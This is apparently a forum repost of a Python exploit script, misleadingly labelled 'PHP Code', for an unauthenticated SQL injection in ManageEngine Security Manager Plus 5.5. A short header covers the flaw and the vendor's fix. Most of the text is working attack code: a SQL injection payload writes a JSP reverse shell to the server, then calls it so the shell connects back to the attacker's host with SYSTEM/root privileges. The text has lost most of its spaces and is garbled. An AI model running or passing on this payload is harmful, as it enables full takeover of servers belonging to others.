[Stricker]

PHP Code:

#!/usr/bin/python
#
+-----------------------------------------------------------------------
+
#ExploitTitle :SecurityManager
Plus<=5.5build5505RemoteSYSTEM/
rootSQLi(Win+Linux)
#Date :18-10-2012
#Author :xistence
(xistence<[AT]>0x90.nl)
#Softwarelink :http://
www.manageengine.com/products/
security-manager/81779457/
ManageEngine_SecurityManager_Plus.exe
(Win)
#Softwarelink :http://
www.manageengine.com/products/
security-manager/81779457/
ManageEngine_SecurityManager_Plus.zip
(Linux)
#Vendorsite :http://
www.manageengine.com/
#Version :5.5build5505
andlower
#Testedon :CentOS5.x+
WindowsXP/2008
#
#Vulnerability :TheSQL
injectionispossibleonthe"Advanced
Search",theinputisnotvalidated
correctly.Tomakeitevenworse,
# thesearchcanbe
accessedwithoutanyauthentication.
SecurityManagerPlusalsohastorun
asrootorSYSTEMuser,
# whichmakesaremote
shellwithroot/SYSTEMprivileges
possible....
#
#Fix:
#1.GotoSMPserversystemandstop
SMPservice.
#2.DownloadtheSMP_Vul_fix.zipfile
from:http://
bonitas.zohocorp.com/4264259/
scanfi/31May2012/SMP_Vul_fix.zip
#3.Extractthedownloadedfilewhich
containsfourfiles:AdvPMServer.jar,
AdvPMClient.jar,scanfi.jarand
AdventNetPMUnixAgent.jar
#3.Copytheextracted.jarfilesto
<SMP-HOME>\libdirectory(e.g.,C:
\AdventNet\SecurityManager\lib).
[Overwritetheexistingjarfilesand
donotrenamethem]
#4.StarttheSMPservice.
#
+-----------------------------------------------------------------------
+

importurllib,urllib2,cookielib
importsys
importrandom

if(len(sys.argv)!=5):
print""
print"[*]SecurityManagerPlus
5.5build5505andlowerRemote
SYSTEM/rootSQLiexploit(Windows
+Linux)-xistence(xistence<
[at]>0x90.nl)-2012-05-29"
print""
print"[*]Usage:secman-sql.py
<RHOST><LHOST><LPORT><OS>"
print"[*]I.e.: ./secman-sql.py
www.linux.org192.168.2.668888linux"
print"[*]I.e.: ./secman-sql.py
www.microsoft.com192.168.2.668888
win"
print"[*]"
print"[*]RHOST=RemoteHost
whichrunsSecurityManagerPlus"
print"[*]LHOST=IPaddressof
localmachine(machinewhereyourun
theexploitfrom"
print"[*]LPORT=Portonthe
localmachinewhereyouwillrunNCon
forourreverseshell"
print"[*]OS=linux/win"
print""
print""
exit(0)
rhost=sys.argv[1]
lhost=sys.argv[2]
lport=sys.argv[3]
osys=sys.argv[4]
ifosys=='linux':
command="/bin/bash"
elifosys=='win':
command="cmd.exe"
else:
print"ChooseavalidOS,linux/
win"
exit()
filename=''
foriinrandom.sample
('abcdefghijklmnopqrstuvwxyz1234567890',6):
filename+=i
filename+=".jsp"
output_path="../../webapps/
SecurityManager/%s"%filename
jsp=''' <%@page
import="java.lang.*"%>
<%@page
import="java.util.*"%>
<%@page
import="java.io.*"%>
<%@page
import="java.net.*"%>
<%
classStreamConnector
extendsThread
{
InputStreamis;
OutputStreamos;
StreamConnector
(InputStreamis,OutputStreamos)
{
this.is=is;
this.os=os;
}
publicvoidrun()
{
BufferedReader
in =null;
BufferedWriter
out=null;
try
{
in =new
BufferedReader(newInputStreamReader
(this.is));
out=new
BufferedWriter(newOutputStreamWriter
(this.os));
char
buffer[]=newchar[8192];
int
length;
while
((length=in.read(buffer,0,
buffer.length))>0)
{
out.write
(buffer,0,length);
out.flush
();
}
}catch
(Exceptione){}
try
{
if(in!=
null)
in.close
();
if(out!=
null)
out.close
();
}catch
(Exceptione){}
}
}
try
{
Socketsocket=
newSocket("'''+lhost+'''",
'''+lport+''');
Processprocess=
Runtime.getRuntime().exec
("'''+command+'''");
(new
StreamConnector
(process.getInputStream(),
socket.getOutputStream())).start();
(new
StreamConnector(socket.getInputStream
(),process.getOutputStream
())).start();
}catch(Exceptione)
{}
%>'''
jsp=jsp.replace("\n","")
jsp=jsp.replace("\t","")
payload="1))"
payload+='UNIONSELECT0x
%s,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29
INTOOUTFILE"%s"'%(jsp.encode
('hex'),output_path)
payload+="FROMmysql.userWHERE1=
((1"
opener=urllib2.build_opener()
opener.addheaders.append(('Cookie',
'STATE_COOKIE=%26SecurityManager%2FID
%2F174%2FHomePageSubDAC_LIST
%2F223%2FSecurityManager_CONTENTAREA_LIST
%2F226%2FMainDAC_LIST%2F166%26MainTabs
%2FID%2F167%2F_PV%2F174%2FselectedView
%2FHome%26Home%2FID%2F166%2FPDCA
%2FMainDAC%2F_PV%2F174%26HomePageSub
%2FID%2F226%2FPDCA
%2FSecurityManager_CONTENTAREA%2F_PV
%2F166%26HomePageSubTab%2FID
%2F225%2F_PV%2F226%2FselectedView
%2FHomePageSecurity%26HomePageSecurity
%2FID%2F223%2FPDCA%2FHomePageSubDAC
%2F_PV%2F226%26_REQS%2F_RVID
%2FSecurityManager%2F_TIME%2F31337;
2RequestsshowThreadedReq=showThreadedReqshow;
2RequestshideThreadedReq=hideThreadedReqhide;'))
post_params=urllib.urlencode
({'ANDOR':'and','condition_1':
'OpenPorts@PORT','operator_1':'IN',
'value_1':payload,'COUNT':'1'})
print"[*]Sendingevilpayload"
resp=opener.open("http://%s:6262/
STATE_ID/31337/jsp/xmlhttp/
persistence.jsp?
reqType=AdvanceSearch&SUBREQUEST=XMLHTTP"
%rhost,post_params)
print"[*]CreatedReverseJSPshell
http://%s:6262/%s"%(rhost,filename)
resp=opener.open("http://%s:6262/
%s" %(rhost,filename))
print"[*]Checkyourshellon%s%s
\n"%(lhost,lport)